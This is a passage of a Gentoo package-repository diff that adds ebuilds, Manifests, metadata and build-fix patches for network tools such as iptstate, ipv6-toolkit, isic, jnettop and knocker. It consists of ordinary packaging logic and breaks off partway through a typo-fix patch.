+DIST iptstate-2.2.5.tar.bz2 28270 SHA256 4e4d881b701fc4599a252021d6ef579eb17aea711fbc07f95df61465b38e1055 SHA512 044bbcf96225cc52b82428792d685d19f964520f7f20a9d3fa7e53430c1f552c0f09338a5d347b08e2500206cd7634a6b4a3acffbfd9e59e4657afb6df461795 WHIRLPOOL 193623aeb5a082fa51613c22e01b22d7d8db83099061961ace7e753bd06e16cdc4b001f73d1b5d20e8eafeb3a1412744a95c10d3fab672c2644408ec125369d9
diff --git a/net-analyzer/iptstate/files/iptstate-2.2.5-gentoo.patch b/net-analyzer/iptstate/files/iptstate-2.2.5-gentoo.patch
new file mode 100644
index 000000000000..fdaeeb7867b2
--- /dev/null
+++ b/net-analyzer/iptstate/files/iptstate-2.2.5-gentoo.patch
@@ -0,0 +1,26 @@
+--- a/Makefile
++++ b/Makefile
+@@ -17,12 +17,11 @@
+ ### ADVANCED USERS AND PACKAGERS MIGHT WANT TO CHANGE THIS
+
+ CXX?= g++
+-CXXFLAGS?= -g -Wall -O2
++CXXFLAGS+= -Wall
+ CXXFILES?= iptstate.cc
+
+ # THIS IS FOR NORMAL COMPILATION
+-LIBS?= -lncurses -lnetfilter_conntrack
+-CPPFLAGS=
++LIBS= $(shell $(PKG_CONFIG) --libs ncurses libnetfilter_conntrack)
+
+ ### YOU SHOULDN'T NEED TO CHANGE ANYTHING BELOW THIS
+
+@@ -45,7 +44,7 @@
+ echo "+------------------------------------------------------------+" ;\
+ echo "";
+
+- $(CXX) $(CXXFLAGS) $(CXXFILES) -o iptstate $(LIBS) $(CPPFLAGS)
++ $(CXX) $(LDFLAGS) $(CXXFLAGS) $(CPPFLAGS) $(CXXFILES) -o iptstate $(LIBS)
+ @touch iptstate
+
+ @\
diff --git a/net-analyzer/iptstate/iptstate-2.2.5.ebuild b/net-analyzer/iptstate/iptstate-2.2.5.ebuild
new file mode 100644
index 000000000000..66712b916b86
--- /dev/null
+++ b/net-analyzer/iptstate/iptstate-2.2.5.ebuild
@@ -0,0 +1,33 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="IP Tables State displays states being kept by iptables in a top-like format"
+HOMEPAGE="http://www.phildev.net/iptstate/"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.bz2"
+
+LICENSE="ZLIB"
+SLOT="0"
+KEYWORDS="amd64 ~hppa ~ppc x86"
+
+RDEPEND="
+ >=sys-libs/ncurses-5.7-r7
+ >=net-libs/libnetfilter_conntrack-0.0.50
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-gentoo.patch
+ tc-export CXX PKG_CONFIG
+}
+
+src_install() {
+ emake PREFIX="${D}"/usr install
+ dodoc BUGS Changelog CONTRIB README WISHLIST
+}
diff --git a/net-analyzer/iptstate/metadata.xml b/net-analyzer/iptstate/metadata.xml
new file mode 100644
index 000000000000..facd2fdc2084
--- /dev/null
+++ b/net-analyzer/iptstate/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>IP Tables State displays states being kept by iptables in a top-like format</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">iptstate</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/ipv6-toolkit/Manifest b/net-analyzer/ipv6-toolkit/Manifest
new file mode 100644
index 000000000000..09ffe317ae68
--- /dev/null
+++ b/net-analyzer/ipv6-toolkit/Manifest
@@ -0,0 +1,2 @@
+DIST ipv6-toolkit-v1.3.1.tar.gz 2917946 SHA256 e7c6b239ea4b6f111af897a6dd1fa2ccf97d939addad5a687d87ebf677305212 SHA512 e99ae325746bde4a89f2930da1ea06d4c2bcec7897ff5b873ecc896796ac97630562d6ebdd2608148ea9a06cdefa0cf237dec647b3a5a2db5727f92c1b583c43 WHIRLPOOL bcbde151eeaa96c55e7b43ed49ba33a61c00935ed45cecb78b2d23edaf82f0787f2c741d1ad7702ead07d56ccef0bc561b956c0ab4b7ba301214260b6c425f65
+DIST ipv6toolkit-v1.4.1.tar.gz 469374 SHA256 facf4ff7ff962644fcd37c04273000a480f3270eeb16b21e0c701032d2861b4f SHA512 50a3f66a02a417f07c5f8befb684629ea027fac6835866b957febf35581ddc0f611a8981030cade4dd10757dafc87b0a3d19384edee0f58f2fd713f23003a57d WHIRLPOOL ae6664863372e2b4aef8ce8efbaa179b8775def44efe35ad7540349a109e7d109ffd047389d37def93c9632dc55df252c28fd035a409a40ba38d272ca7c11b8a
diff --git a/net-analyzer/ipv6-toolkit/files/ipv6-toolkit-1.3.1-destdir.patch b/net-analyzer/ipv6-toolkit/files/ipv6-toolkit-1.3.1-destdir.patch
new file mode 100644
index 000000000000..c812a4670733
--- /dev/null
+++ b/net-analyzer/ipv6-toolkit/files/ipv6-toolkit-1.3.1-destdir.patch
@@ -0,0 +1,40 @@
+diff -Nuar ipv6-toolkit-v1.3.1.orig/Makefile ipv6-toolkit-v1.3.1/Makefile
+--- ipv6-toolkit-v1.3.1.orig/Makefile 2013-02-16 01:15:13.000000000 -0800
++++ ipv6-toolkit-v1.3.1/Makefile 2013-02-19 11:05:09.581852048 -0800
+@@ -7,6 +7,7 @@
+ MANPATH= /usr/share/man
+ DATAPATH= /usr/share
+ BINPATH= /usr/bin
++SYSCONFDIR= /etc
+ SRCPATH= tools
+ TOOLS= flow6 frag6 icmp6 jumbo6 na6 ni6 ns6 ra6 rd6 rs6 scan6 tcp6
+
+@@ -53,19 +54,19 @@
+
+ install: all
+ # Install the binaries
+- install -m0755 -d $(BINPATH)
+- install -m0755 $(TOOLS) $(BINPATH)
++ install -m0755 -d $(DESTDIR)$(BINPATH)
++ install -m0755 $(TOOLS) $(DESTDIR)$(BINPATH)
+
+ # Install the configuration file
+- install -m0644 data/ipv6toolkit.conf /etc
++ install -m0644 data/ipv6toolkit.conf $(DESTDIR)$(SYSCONFDIR)
+
+ # Install the IEEE OUI database
+- install -m0755 -d $(DATAPATH)/ipv6toolkit
+- install -m0644 data/oui.txt $(DATAPATH)/ipv6toolkit
++ install -m0755 -d $(DESTDIR)$(DATAPATH)/ipv6toolkit
++ install -m0644 data/oui.txt $(DESTDIR)$(DATAPATH)/ipv6toolkit
+
+ # Install the manual pages
+- install -m0755 -d $(MANPATH)/man1
+- install -m0644 manuals/*.1 $(MANPATH)/man1
+- install -m0755 -d $(MANPATH)/man5
+- install -m0644 manuals/*.5 $(MANPATH)/man1
++ install -m0755 -d $(DESTDIR)$(MANPATH)/man1
++ install -m0644 manuals/*.1 $(DESTDIR)$(MANPATH)/man1
++ install -m0755 -d $(DESTDIR)$(MANPATH)/man5
++ install -m0644 manuals/*.5 $(DESTDIR)$(MANPATH)/man1
+
diff --git a/net-analyzer/ipv6-toolkit/files/ipv6-toolkit-1.4.1-oui-path.patch b/net-analyzer/ipv6-toolkit/files/ipv6-toolkit-1.4.1-oui-path.patch
new file mode 100644
index 000000000000..5a1b4a355e66
--- /dev/null
+++ b/net-analyzer/ipv6-toolkit/files/ipv6-toolkit-1.4.1-oui-path.patch
@@ -0,0 +1,22 @@
+diff -Nuar ipv6toolkit-v1.4.orig/tools/scan6.c ipv6toolkit-v1.4/tools/scan6.c
+--- ipv6toolkit-v1.4.orig/tools/scan6.c 2013-08-24 10:38:02.557531033 -0700
++++ ipv6toolkit-v1.4/tools/scan6.c 2013-08-24 11:32:21.244173537 -0700
+@@ -62,6 +62,9 @@
+ #include "scan6.h"
+ #include "ipv6toolkit.h"
+ #include <netinet/tcp.h>
++#ifndef OUI_DATABASE // keep this the same as the Makefiles
++#define OUI_DATABASE "/usr/share/ipv6toolkit/oui.txt"
++#endif
+
+ /* Function prototypes */
+ int init_iface_data(struct iface_data *);
+@@ -6027,7 +6030,7 @@
+ fclose(fp);
+
+ if(!fname_f)
+- strncpy(fname, "/usr/share/ipv6toolkit/oui.txt", MAX_FILENAME_SIZE-1);
++ strncpy(fname, OUI_DATABASE, MAX_FILENAME_SIZE-1);
+
+ return(1);
+ }
diff --git a/net-analyzer/ipv6-toolkit/ipv6-toolkit-1.3.1.ebuild b/net-analyzer/ipv6-toolkit/ipv6-toolkit-1.3.1.ebuild
new file mode 100644
index 000000000000..fb07f0477001
--- /dev/null
+++ b/net-analyzer/ipv6-toolkit/ipv6-toolkit-1.3.1.ebuild
@@ -0,0 +1,42 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit eutils
+
+DESCRIPTION="Set of IPv6 security/trouble-shooting tools, that can send arbitrary IPv6-based packets"
+HOMEPAGE="http://www.si6networks.com/tools/ipv6toolkit/"
+MY_P="${PN}-v${PV}"
+SRC_URI="http://www.si6networks.com/tools/ipv6toolkit/${MY_P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="net-libs/libpcap[ipv6]"
+RDEPEND="${DEPEND}
+ sys-apps/hwids"
+
+S="${WORKDIR}/${MY_P}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/ipv6-toolkit-1.3.1-destdir.patch
+ cd "${S}"
+ sed -i 's,/usr/share/ipv6toolkit/oui.txt,/usr/share/misc/oui.txt,g' \
+ data/ipv6toolkit.conf \
+ manuals/ipv6toolkit.conf.5 \
+ tools/scan6.c || die "failed to sed out oui path"
+}
+
+src_compile() {
+ emake CFLAGS="-Wall ${CFLAGS}"
+}
+
+src_install() {
+ emake install DESTDIR="${D}"
+ rm -f "${D}"/usr/share/ipv6toolkit/oui.txt
+ dodoc README* manuals/*{odt,pdf}
+}
diff --git a/net-analyzer/ipv6-toolkit/ipv6-toolkit-1.4.1.ebuild b/net-analyzer/ipv6-toolkit/ipv6-toolkit-1.4.1.ebuild
new file mode 100644
index 000000000000..77328109c9ec
--- /dev/null
+++ b/net-analyzer/ipv6-toolkit/ipv6-toolkit-1.4.1.ebuild
@@ -0,0 +1,49 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit eutils
+
+DESCRIPTION="Set of IPv6 security/trouble-shooting tools, that can send arbitrary IPv6-based packets"
+HOMEPAGE="http://www.si6networks.com/tools/ipv6toolkit/"
+MY_PN="ipv6toolkit"
+MY_P="${MY_PN}-v${PV}"
+SRC_URI="http://www.si6networks.com/tools/ipv6toolkit/${MY_P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="net-libs/libpcap[ipv6]"
+RDEPEND="${DEPEND}
+ sys-apps/hwids"
+
+S="${WORKDIR}/${MY_P}"
+
+HWIDS_OUI_PATH=/usr/share/misc/oui.txt
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-1.4.1-oui-path.patch
+ cd "${S}"
+ sed -i "s,/usr/share/[^[:space:]\"']*/?oui.txt,${HWIDS_OUI_PATH},g" \
+ manuals/ipv6toolkit.conf.5 \
+ || die "failed to sed out oui path"
+}
+
+src_compile() {
+ emake CFLAGS="-Wall ${CFLAGS}" OUI_DATABASE="${HWIDS_OUI_PATH}" PREFIX=/usr
+}
+
+src_install() {
+ dodir /etc
+ emake install DESTDIR="${D}" OUI_DATABASE="${HWIDS_OUI_PATH}" PREFIX=/usr
+ rm -f "${D}"/usr/share/ipv6toolkit/oui.txt
+ rmdir "${D}"/usr/share/ipv6toolkit
+ dodoc CHANGES.TXT CONTRIB.TXT README*
+}
+pkg_postinst() {
+ einfo "Upstream change: ${PN}-1.4: PDF/ODF documentation is now manpages only (same content)."
+}
diff --git a/net-analyzer/ipv6-toolkit/metadata.xml b/net-analyzer/ipv6-toolkit/metadata.xml
new file mode 100644
index 000000000000..57d5f52092fa
--- /dev/null
+++ b/net-analyzer/ipv6-toolkit/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>robbat2@gentoo.org</email>
+ <name>Robin H. Johnson</name>
+ </maintainer>
+ <longdescription lang="en">
+ The SI6 Networks' IPv6 toolkit is a set of IPv6 security/trouble-shooting tools, that can send arbitrary IPv6-based packets.
+ </longdescription>
+</pkgmetadata>
+
diff --git a/net-analyzer/isic/Manifest b/net-analyzer/isic/Manifest
new file mode 100644
index 000000000000..7d9c037c970b
--- /dev/null
+++ b/net-analyzer/isic/Manifest
@@ -0,0 +1 @@
+DIST isic-0.07.tgz 39823 SHA256 e033c53e03e26a4c72b723e2a5a1c433ee70eb4d23a1ba0d7d7e14ee1a80429d SHA512 2495ee1c6d552fa6f8f79ab06a886aeef39d247589479e75124a03d5633a75d47e8c9a15e16de3596744a83f74da7afa460cc3dd8653e346e58ac70e04126882 WHIRLPOOL e730aa1f43e48f44f18e65b4bbe3520934d5ce02bd9d30b700195ede565ca1810002fb97a2b0828499777f3720ceb7dbebbf4fe84c875742e4c86b01219e1596
diff --git a/net-analyzer/isic/isic-0.07-r1.ebuild b/net-analyzer/isic/isic-0.07-r1.ebuild
new file mode 100644
index 000000000000..c49de0277844
--- /dev/null
+++ b/net-analyzer/isic/isic-0.07-r1.ebuild
@@ -0,0 +1,36 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit toolchain-funcs
+
+DESCRIPTION="IP Stack Integrity Checker"
+HOMEPAGE="http://isic.sourceforge.net/"
+SRC_URI="mirror://sourceforge/isic/${P}.tgz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="amd64 ppc x86"
+
+DEPEND="net-libs/libnet:1.1"
+RDEPEND="${DEPEND}"
+
+DOCS=( ChangeLog README )
+
+src_prepare() {
+ # Add two missing includes
+ echo "#include <netinet/udp.h>" >> isic.h || die
+ echo "#include <netinet/tcp.h>" >> isic.h || die
+
+ # Install man pages in /usr/share/man
+ sed -i -e 's|/man/man1|/share&|g' Makefile.in || die
+
+ tc-export CC
+}
+
+src_configure() {
+ # Build system does not know about DESTDIR
+ econf --prefix="${D}/usr" --exec_prefix="${D}/usr"
+}
diff --git a/net-analyzer/isic/metadata.xml b/net-analyzer/isic/metadata.xml
new file mode 100644
index 000000000000..78637d83fee4
--- /dev/null
+++ b/net-analyzer/isic/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">isic</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/jffnms/Manifest b/net-analyzer/jffnms/Manifest
new file mode 100644
index 000000000000..8c364f7656ce
--- /dev/null
+++ b/net-analyzer/jffnms/Manifest
@@ -0,0 +1 @@
+DIST jffnms-0.9.4.tgz 610758 SHA256 8e20d361ad3dc01d800315e3978f1873c3b6d1ebd3bc93a74a3fb8789d56da2b SHA512 4d0c4ed1fbf0107029d92b2ea8f0f02c46d532810dc58bf048c5ffaf79f7f24630101be8319876db1aee3356ced32e7cba2f2494bc8a92a635b0a4e6897c6fe7 WHIRLPOOL 10ac59bd5a52c1803e124b6a47b889bda938760359bd995311486c7156840ddd88092ceba5280fb090dd3484927f6d52121428e4a75d4aca1cb6135ee8cf29e2
diff --git a/net-analyzer/jffnms/jffnms-0.9.4.ebuild b/net-analyzer/jffnms/jffnms-0.9.4.ebuild
new file mode 100644
index 000000000000..ed2b1962b859
--- /dev/null
+++ b/net-analyzer/jffnms/jffnms-0.9.4.ebuild
@@ -0,0 +1,58 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit user
+
+DESCRIPTION="Network Management and Monitoring System"
+HOMEPAGE="http://www.jffnms.org/"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="mysql postgres snmp"
+
+RDEPEND="
+ app-mobilephone/smsclient
+ dev-lang/php[apache2,cli,gd,mysql?,postgres?,session,snmp,sockets,wddx]
+ dev-php/PEAR-PEAR
+ media-gfx/graphviz
+ media-libs/gd
+ net-analyzer/fping
+ net-analyzer/net-snmp
+ net-analyzer/nmap
+ net-analyzer/rrdtool[graph]
+ sys-apps/diffutils
+"
+
+pkg_setup() {
+ enewgroup jffnms
+ enewuser jffnms -1 /bin/bash -1 jffnms,apache
+}
+
+src_install(){
+ local INSTALL_DIR="/opt/${PN}"
+ local IMAGE_DIR="${D}${INSTALL_DIR}"
+
+ insinto "${INSTALL_DIR}"
+ doins -r *
+
+ rm -f "${IMAGE_DIR}/LICENSE"
+
+ # Clean up Windows related stuff
+ rm -f "${IMAGE_DIR}"/*.win32.txt
+ rm -rf "${IMAGE_DIR}"/docs/windows
+ rm -rf "${IMAGE_DIR}"/engine/windows
+
+ fowners -R jffnms:apache "${INSTALL_DIR}"
+ fperms -R ug+rw "${INSTALL_DIR}"
+}
+
+pkg_postinst() {
+ elog "${PN} has been partialy installed on your system. However you"
+ elog "still need proceed with final installation and configuration."
+ elog "You can visit https://wiki.gentoo.org/wiki/Jffnms in order"
+ elog "to get detailed information on how to get jffnms up and running."
+}
diff --git a/net-analyzer/jffnms/metadata.xml b/net-analyzer/jffnms/metadata.xml
new file mode 100644
index 000000000000..c174f0301efe
--- /dev/null
+++ b/net-analyzer/jffnms/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">jffnms</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/jmx2munin/Manifest b/net-analyzer/jmx2munin/Manifest
new file mode 100644
index 000000000000..51ae4f228ea5
--- /dev/null
+++ b/net-analyzer/jmx2munin/Manifest
@@ -0,0 +1 @@
+DIST jmx2munin-gentoo-1.0_p20120811.tar.gz 6890 SHA256 38f7281ca2164778cd40d2aa09a274d000c4a1ef325f20eddfb058885595a4ef SHA512 154817d63fb278970d04785821a29833007a553055efe28aa6a3654d01b7a4422a2a1c98cd1693ae52ea28a57505b6d7988f241f6d119425f5c3ae38471b72be WHIRLPOOL 59f302a24798319648998ac296aec13059a868695eda92aebdccb0fb34cbc1ce9fa7aa1fb388ed7d45acbce444c7c138bb718840477ba427937cbb10b879c5bd
diff --git a/net-analyzer/jmx2munin/jmx2munin-1.0_p20120811-r1.ebuild b/net-analyzer/jmx2munin/jmx2munin-1.0_p20120811-r1.ebuild
new file mode 100644
index 000000000000..4a6017458dd1
--- /dev/null
+++ b/net-analyzer/jmx2munin/jmx2munin-1.0_p20120811-r1.ebuild
@@ -0,0 +1,55 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+JAVA_PKG_IUSE="doc source"
+
+inherit java-pkg-2 java-pkg-simple
+
+MY_P="${PN}-gentoo-${PV}"
+
+DESCRIPTION="JMX Monitoring plugin for Munin"
+HOMEPAGE="https://github.com/tcurdt/jmx2munin"
+SRC_URI="https://github.com/gentoo/jmx2munin/tarball/${MY_P} -> ${MY_P}.tar.gz"
+
+LICENSE="Apache-2.0"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE=""
+
+CDEPEND="dev-java/jcommander:0"
+
+DEPEND="${CDEPEND}
+ >=virtual/jdk-1.6"
+
+RDEPEND="${CDEPEND}
+ net-analyzer/munin
+ >=virtual/jre-1.6"
+
+S="${WORKDIR}/${MY_P}"
+
+JAVA_SRC_DIR="src/main/java/org/vafer/jmx"
+JAVA_GENTOO_CLASSPATH="jcommander"
+
+src_unpack() {
+ unpack ${A}
+ mv gentoo-${PN}-* ${MY_P}
+}
+
+java_prepare() {
+ rm pom.xml || die
+}
+
+src_install() {
+ java-pkg-simple_src_install
+ java-pkg_dolauncher ${PN} --main org.vafer.jmx.munin.Munin
+
+ exeinto /usr/libexec/munin/plugins
+ newexe contrib/${PN}.sh ${PN}_
+
+ dodoc README.md contrib/jmx2munin.cfg/cassandra/nodes_in_cluster
+
+ keepdir /etc/munin/${PN}
+}
diff --git a/net-analyzer/jmx2munin/metadata.xml b/net-analyzer/jmx2munin/metadata.xml
new file mode 100644
index 000000000000..d0e3162ce1e6
--- /dev/null
+++ b/net-analyzer/jmx2munin/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>java</herd>
+ <herd>sysadmin</herd>
+ <upstream>
+ <remote-id type="github">gentoo/jmx2munin</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/jnettop/Manifest b/net-analyzer/jnettop/Manifest
new file mode 100644
index 000000000000..ab6b97f02ea8
--- /dev/null
+++ b/net-analyzer/jnettop/Manifest
@@ -0,0 +1 @@
+DIST jnettop-0.13.0.tar.gz 131009 SHA256 e987a1a9325595c8a0543ab61cf3b6d781b4faf72dd0e0e0c70b2cc2ceb5a5a0 SHA512 304293cd011ce8556aabf69e91b2e831ac61aa43016bb5b616d24b45805315a815dfba37dfe9f7cd3c637931043d4123b2f46a7637ba1a0b9d30267fe6dcb051 WHIRLPOOL 9e4c2226f40b6ee95905e51f0f4d2b70e4a0aeea40ca9fbb3cc0ba696c673d4fb95aecbe5757857e49533b7628bd8cdf5c27cc568fbcd34167fe40fca52b961f
diff --git a/net-analyzer/jnettop/files/jnettop-0.13.0-asneeded.patch b/net-analyzer/jnettop/files/jnettop-0.13.0-asneeded.patch
new file mode 100644
index 000000000000..8a43240bb0de
--- /dev/null
+++ b/net-analyzer/jnettop/files/jnettop-0.13.0-asneeded.patch
@@ -0,0 +1,12 @@
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -1,8 +1,7 @@
+
+
+ INCLUDES = -I$(top_srcdir)/include @GLIB_CFLAGS@
+-AM_LDFLAGS = @GLIB_LIBS@ @NSL_LIBS@ @SOCKET_LIBS@
+-CFLAGS = -g -O0
++jnettop_LDADD = @GLIB_LIBS@ @NSL_LIBS@ @SOCKET_LIBS@
+
+ man_MANS = jnettop.8
+
diff --git a/net-analyzer/jnettop/files/jnettop-0.13.0-tinfo.patch b/net-analyzer/jnettop/files/jnettop-0.13.0-tinfo.patch
new file mode 100644
index 000000000000..958685cb5c12
--- /dev/null
+++ b/net-analyzer/jnettop/files/jnettop-0.13.0-tinfo.patch
@@ -0,0 +1,11 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -15,6 +15,8 @@
+ AC_HEADER_STDC
+ AC_CHECK_HEADERS([arpa/inet.h netdb.h netinet/in.h stdlib.h string.h sys/socket.h sys/sockio.h])
+
++PKG_CHECK_MODULES(ncurses,ncurses,[LIBS="$LIBS $ncurses_LIBS"],)
++
+ # with definitions
+ AC_ARG_WITH([ncurses],
+ AC_HELP_STRING([--without-ncurses], [don't use ncurses, default is YES when available]),
diff --git a/net-analyzer/jnettop/jnettop-0.13.0-r1.ebuild b/net-analyzer/jnettop/jnettop-0.13.0-r1.ebuild
new file mode 100644
index 000000000000..e015ba9407d6
--- /dev/null
+++ b/net-analyzer/jnettop/jnettop-0.13.0-r1.ebuild
@@ -0,0 +1,47 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="A top like console network traffic visualiser"
+HOMEPAGE="http://jnettop.kubs.info/"
+SRC_URI="http://jnettop.kubs.info/dist/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~arm ~ppc ~sparc x86 ~amd64-linux ~x86-linux"
+IUSE="berkdb ncurses syslog"
+
+RDEPEND="
+ net-libs/libpcap
+ >=dev-libs/glib-2.0.1
+ berkdb? ( =sys-libs/db-4* )
+ ncurses? ( sys-libs/ncurses )
+ syslog? ( virtual/logger )
+"
+
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+DOCS=( AUTHORS ChangeLog NEWS README )
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}/${P}-asneeded.patch" \
+ "${FILESDIR}/${P}-tinfo.patch"
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ $(use_with ncurses) \
+ $(use_with berkdb db4) \
+ $(use_with syslog)
+}
+
+src_install() {
+ default
+ newdoc .${PN} ${PN}.dotfile
+}
diff --git a/net-analyzer/jnettop/metadata.xml b/net-analyzer/jnettop/metadata.xml
new file mode 100644
index 000000000000..07768d7e05b1
--- /dev/null
+++ b/net-analyzer/jnettop/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>A top like console network traffic visualiser</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/knocker/Manifest b/net-analyzer/knocker/Manifest
new file mode 100644
index 000000000000..61392537e848
--- /dev/null
+++ b/net-analyzer/knocker/Manifest
@@ -0,0 +1 @@
+DIST knocker-0.7.1.tar.gz 72132 SHA256 db6f2a9e9705e3b678b9fd7fdd32ccdf13ab3f2dba2a6d053530a2faf67faf8d SHA512 e65d615235328c027e1c6179a11bee186fa3d173205850e8b9fac591819e344de770d968c2667f1a18bef88cf90422c357bf76b9d05a8915629977cb8e334cc2 WHIRLPOOL 03943601b8fa07d49b33f0a4b2bdc36d062cca83a2fd20acac7bc0741079fbbbc469f05f418e6743adb4e0eba04a4406eeca0ec4bf861d650089de68174a62ab
diff --git a/net-analyzer/knocker/files/knocker-0.7.1-fency.patch b/net-analyzer/knocker/files/knocker-0.7.1-fency.patch
new file mode 100644
index 000000000000..6051d87b2e68
--- /dev/null
+++ b/net-analyzer/knocker/files/knocker-0.7.1-fency.patch
@@ -0,0 +1,149 @@
+--- a/ChangeLog
++++ b/ChangeLog
+@@ -23,7 +23,7 @@
+ .conf in the user ~/.knocker subdirectory.
+
+ 13 May 2002
+- - --no-fency (-nf for short) option added. This switch tells knocker to show
++ - --no-fancy (-nf for short) option added. This switch tells knocker to show
+ the output in a "polite" way. All the lines and stuffs shown in the default
+ mode, will not be displayed using this option.
+
+--- a/src/knocker_args.c
++++ b/src/knocker_args.c
+@@ -82,7 +82,7 @@
+ fprintf (stdout, "Extra options:\n");
+ fprintf (stdout, " %s, %s quiet mode (no console output, logs to file)\n", QUIET_MODE_SHORT_OPT, QUIET_MODE_LONG_OPT);
+ fprintf (stdout, " %s, %s <logfile> log scan results to the specified file\n", ENABLE_LOGFILE_SHORT_OPT, ENABLE_LOGFILE_LONG_OPT);
+- fprintf (stdout, " %s, %s disable fency output\n", NO_FENCY_SHORT_OPT, NO_FENCY_LONG_OPT);
++ fprintf (stdout, " %s, %s disable fancy output\n", NO_FANCY_SHORT_OPT, NO_FANCY_LONG_OPT);
+ fprintf (stdout, " %s, %s disable colored output\n", NO_COLORS_SHORT_OPT, NO_COLORS_LONG_OPT);
+ fprintf (stdout, "\n");
+ fprintf (stdout, " %s let you configure %s\n", CONFIGURE_LONG_OPT, PACKAGE);
+@@ -111,7 +111,7 @@
+ args->logfile = logfile;
+ args->quiet = quiet;
+ args->colors = colors;
+- args->fency = TRUE; /* true by default */
++ args->fancy = TRUE; /* true by default */
+
+ return 0;
+ }
+@@ -189,10 +189,10 @@
+ }
+ return (0); /* we should have all arguments here */
+ }
+- else if ((!strcmp (argv[i], NO_FENCY_SHORT_OPT)) || (!strcmp (argv[i], NO_FENCY_LONG_OPT)))
++ else if ((!strcmp (argv[i], NO_FANCY_SHORT_OPT)) || (!strcmp (argv[i], NO_FANCY_LONG_OPT)))
+ {
+- /* Disable fency output */
+- args->fency = FALSE;
++ /* Disable fancy output */
++ args->fancy = FALSE;
+ }
+ else if ((!strcmp (argv[i], NO_COLORS_SHORT_OPT)) || (!strcmp (argv[i], NO_COLORS_LONG_OPT)))
+ {
+--- a/src/knocker_output.c
++++ b/src/knocker_output.c
+@@ -48,7 +48,7 @@
+ {
+ time_t timenow;
+
+- if (!knocker_args.fency)
++ if (!knocker_args.fancy)
+ return 0;
+
+
+@@ -104,7 +104,7 @@
+ */
+ void knocker_output_host_info (const char *hostname_str, const char *hostip_str)
+ {
+- if (knocker_args.fency)
++ if (knocker_args.fancy)
+ {
+ knocker_term_color_fprintf (knocker_output_fp, " - ", KNOCKER_COLOR_1, KNOCKER_COLOR_1_ATTR);
+ knocker_term_color_fprintf (knocker_output_fp, "hostname to scan: ", KNOCKER_COLOR_1, KNOCKER_COLOR_1_ATTR);
+@@ -134,7 +134,7 @@
+ */
+ void knocker_output_resolve_error (char *hostname_str)
+ {
+- if (knocker_args.fency)
++ if (knocker_args.fancy)
+ {
+ knocker_term_color_fprintf (knocker_output_fp, " - ", KNOCKER_COLOR_1, KNOCKER_COLOR_1_ATTR);
